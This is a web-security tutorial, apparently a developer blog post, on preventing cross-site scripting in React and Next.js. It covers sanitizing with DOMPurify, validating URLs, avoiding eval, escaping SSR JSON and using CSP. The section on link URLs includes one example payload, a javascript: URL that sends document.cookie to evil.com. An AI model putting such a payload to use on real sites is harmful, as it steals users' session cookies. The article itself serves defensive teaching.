// LOADING
// LOADING
// LOADING_ARTICLE
Cross-site scripting (XSS) allows an attacker to inject malicious JavaScript into a page viewed by other users. Despite React's reputation for being "safe by default," XSS is still possible — and still found in production React and Next.js applications. Understanding exactly where the guardrails are, and where they are not, is the first step to writing genuinely secure code.
XSS falls into three categories:
location.hash, document.referrer, postMessage) and writes it to the DOM unsafely.In all three cases, the attacker's goal is to run <script> code in the victim's browser — stealing cookies, session tokens, or performing actions on the user's behalf.
React escapes all values interpolated inside JSX before inserting them into the DOM. If you write:
tsxconst userInput = '<script>alert(1)</script>'; return <div>{userInput}</div>;
React renders it as the literal text <script>alert(1)</script> — harmless. This escaping happens automatically for every JSX expression, which eliminates the vast majority of XSS vectors without developer effort.
However, this protection has hard limits. Three patterns bypass it entirely.
dangerouslySetInnerHTML: The Primary RiskdangerouslySetInnerHTML sets raw HTML on a DOM node, bypassing React's escaping. Any user-controlled string passed here is a direct XSS vector.
tsx// DANGEROUS — never pass raw user input here <div dangerouslySetInnerHTML={{ __html: post.content }} />
This pattern is legitimate for rendering HTML from a rich-text editor (Markdown, ProseMirror, Quill) — but only if the HTML is sanitized first.
DOMPurify strips disallowed tags and attributes while preserving safe markup:
tsximport DOMPurify from 'isomorphic-dompurify'; function RichContent({ html }: { html: string }) { const clean = DOMPurify.sanitize(html, { ALLOWED_TAGS: ['p', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'blockquote', 'code', 'pre', 'h2', 'h3'], ALLOWED_ATTR: ['href', 'rel', 'target'], FORCE_HTTPS_ATTRS: ['href'], }); return <div dangerouslySetInnerHTML={{ __html: clean }} />; }
Use isomorphic-dompurify (not the browser-only dompurify) so sanitization also runs during server-side rendering — if you skip the server-side pass, an unsanitized string can sneak into the initial HTML payload and be indexed or cached.
The most resilient approach is to sanitize when content is saved, not when it is displayed. This means stored data is always clean, and rendering logic stays simple. Pair this with output sanitization as a second layer of defence.
href and srcReact does not sanitize URLs. A javascript: protocol in an href executes code when the user clicks the link:
tsx// Dangerous if `url` comes from user input <a href={url}>Click me</a> // Attacker sets url = 'javascript:fetch("https://evil.com?c="+document.cookie)'
Always validate URLs before rendering them in href or src:
tsfunction isSafeUrl(url: string): boolean { try { const parsed = new URL(url); return ['http:', 'https:'].includes(parsed.protocol); } catch { return false; } }
For user-supplied links in a blog or profile, allow only http: and https:. Block javascript:, data:, vbscript:, and blank protocol values.
eval and Dynamic Code ExecutionAvoid eval(), new Function(), and setTimeout(string, ...) entirely. If any part of the string argument can be influenced by user input, it is an XSS vector. Linters (no-eval in ESLint) catch this at the codebase level.
With SSR, user-controlled data can land in the initial HTML. React still escapes JSX, but if you are building raw HTML strings (for example, constructing a <script> tag with JSON data for hydration), you must escape the JSON:
tsx// SAFE — JSON.stringify output embedded in a script tag <script id="__INITIAL_DATA__" type="application/json" dangerouslySetInnerHTML={{ __html: JSON.stringify(data).replace(/</g, '\\u003c'), }} />
The replace(/</g, '\\u003c') step prevents a </script> sequence inside the JSON from terminating the script tag early.
The single most effective server-side control is a strict Content Security Policy. CSP can block inline script execution entirely, so even if an XSS payload is injected, it cannot run. See the dedicated post on Content Security Policy explained for how to configure CSP in Next.js.
XSS is not limited to HTML contexts. The same principle — encode output for the target context — applies to:
', ", \, and newlines.style attributes can trigger expression() in older browsers.encodeURIComponent for query parameters.For a broader view of web attack surfaces, see common web security threats and how to prevent them and the related post on why you should never store JWT in localStorage — XSS is the primary mechanism attackers use to steal tokens from browser storage.
dangerouslySetInnerHTML bypasses this — always sanitize with DOMPurify before using it.href or src.eval and dynamic code execution.These controls together make XSS exploitation in a React/Next.js app genuinely difficult. If you are building or reviewing an application, see the interview prep section for security questions that come up in senior-level technical interviews.